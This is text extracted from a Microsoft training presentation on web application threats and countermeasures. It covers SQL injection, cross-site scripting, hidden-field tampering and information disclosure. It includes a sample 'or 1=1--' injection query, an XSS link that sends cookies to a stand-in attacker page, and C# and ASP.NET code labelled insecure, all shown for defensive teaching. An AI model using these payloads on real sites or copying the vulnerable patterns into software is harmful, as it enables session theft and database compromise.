threats and threat modeling€¦ · cross-site scripting using malicious client-side script to...

Security:Threats and Countermeasures

Stanley TanAcademic Program ManagerMicrosoft Singapore

Session Agenda

Types of threats

Threats against the application

Countermeasures against the threats

Types of Threats

Spoofed packets, etc.

Buffer overflows, illicit paths, etc.

SQL injection, XSS, input tampering, etc.

Network Host Application

Threats against

the network

Threats against the host

Threats against the application

Threats Against the Application

Threat Examples

SQL injection Including a DROP TABLE command in text typed into an input field

Cross-site scripting Using malicious client-side script to steal cookies

Hidden-field tampering

Maliciously changing the value of a hidden field

Eavesdropping Using a packet sniffer to steal passwords and cookies from traffic on unencrypted connections

Session hijacking Using a stolen session ID cookie to access someone else's session state

Identity spoofing Using a stolen forms authentication cookie to pose as another user

Information disclosure

Allowing client to see a stack trace when an unhandled exception occurs

http://msdn.microsoft.com/library/en-us/dnnetsec/html/THCMCh10.asp?

frame=true#c10618429_004i

SQL Injection

Exploits applications that use external input in database commands

Input from <form> fields

Input from query strings

The technique:

Find a <form> field or query string parameter used to generate SQL commands

Submit input that modifies the commands

Compromise, corrupt, and destroy data

SQL Injection

How SQL Injection Works

SELECT COUNT (*) FROM UsersWHERE UserName=„Jeff‟AND Password=„imbatman‟

SELECT COUNT (*) FROM UsersWHERE UserName=„‟ or 1=1--AND Password=„‟

Model Query

Malicious Query

"or 1=1" matches every

record in the table"--" comments out the

remainder of the query

Accessing Data Securely

Use stored procedures or parameterized

commands in lieu of dynamic SQL commands

Never use sa to access Web databases

Store connection strings securely

Optionally use SSL/TLS or IPSec to secure the

connection to the database server 2,9

Apply administrative protections to SQL Server 8

i http://msdn.microsoft.com/library/en-us/dnnetsec/html/THCMCh14.asp

Dynamic SQL Commands

// DANGER! User input used to generate database query

string sql = String.Format ("select count (*) " +"from users where username=\'{0}\' and cast " +"(password as varbinary)=cast (\'{1}\' as " +varbinary)", username, password);

SqlCommand command = new SqlCommand (sql, connection);int count = (int) command.ExecuteScalar ();

Vulnerable to SQL injection attacks

Parameterized Commands

// BETTER: Input passed to parameterized command

SqlCommand command = new SqlCommand("select count (*) from users where " +"username=@username and cast (password as " +"varbinary)=cast (@password as varbinary)",connection);

command.Parameters.Add ("@username",SqlDbType.VarChar).Value = username;

command.Parameters.Add ("@password",SqlDbType.VarChar).Value = password;

int count = (int) command.ExecuteScalar ();

Less vulnerable to SQL injection attacks

YASID

Why you really want to secure yourself against SQL injection attacks

Cross-Site Scripting (XSS)

Exploits applications that echo raw, unfiltered input to Web pages

Input from <form> fields

Input from query strings

The technique:

Find a <form> field or query string parameter whose value is echoed to the Web page

Enter malicious script and get an unwary user to navigate to the infected page

Steal cookies, deface and disable sites

How Cross-Site Scripting Works

<a href="http://…/Search.aspx?Search=<script language='javascript'>document.location.replace('http://localhost/EvilPage.aspx?Cookie=„ + document.cookie);</script>">…</a>

Query string contains embedded JavaScript that

redirects to attacker’s page and transmits cookies

issued by Search.aspx in a query string

URL of the site targeted by the attack

Cross-Site Scripting

Validating Input

Filter potentially injurious characters and strings

HTML-encode all input echoed to a Web page

Avoid using file names as input if possible

http://msdn.microsoft.com/library/en-us/dnnetsec/html/THCMCh10.asp?

frame=true#c10618429_006i

Use "safe" character encodings

<globalization requestEncoding="ISO-8859-1"responseEncoding="ISO-8859-1" />

Anti-XSS Library

Download from MSDN:

http://www.microsoft.com/downloads/details.aspx?familyid=9A2B9C92-7AD9-496C-9A89-AF08DE2E5982&displaylang=en

The Anti-Cross Site Scripting Library can be used to provide comprehensive protection to Web-based applications against Cross-Site Scripting (XSS) attacks.











Input Validation

Why you shouldn’t use file names as input…

Hidden-Field Tampering

HTTP is a stateless protocol

No built-in way to persist data from one request to the next

People are stateful beings

Want data persisted between requests

Shopping carts, user preferences, etc.

Web developers sometimes use hidden fields to persist data between requests

Hidden fields are not really hidden!

How HF Tampering Works

<input type=“hidden” name="price"value="$10,000">

Page contains this…

Postback data should contain this…

price="$10,000"

Instead it contains this…

price="$1"

type="hidden" prevents the field

from being seen on the page but

not in View Source

Information Disclosure

Which is the

better error

message?

Information Disclosure

This is Insecure Code!<html>

<body><form runat="server">

<asp:TextBox ID="Input" runat="server" /><asp:Button Text="Click Me" OnClick="OnSubmit"

runat="server" /><asp:Label ID="Output" runat="server" />

</form></body>

</html>

<script language="C#" runat="server">void OnSubmit (Object sender, EventArgs e){

Output.Text = "Hello, " + Input.Text;}</script>

Why is This Code Insecure?

<html><body>

<form runat="server"><asp:TextBox ID="Input" runat="server" /><asp:Button Text="Click Me" OnClick="OnSubmit"

runat="server" /><asp:Label ID="Output" runat="server" />

</form></body>

</html>

<script language="C#" runat="server">void OnSubmit (Object sender, EventArgs e){

Output.Text = "Hello, " + Input.Text;}</script>

Input is echoed to page

without HTML encoding

Input is neither validated nor

constrained; user can type anything!

threats and threat modeling€¦ · cross-site scripting using malicious client-side script to...

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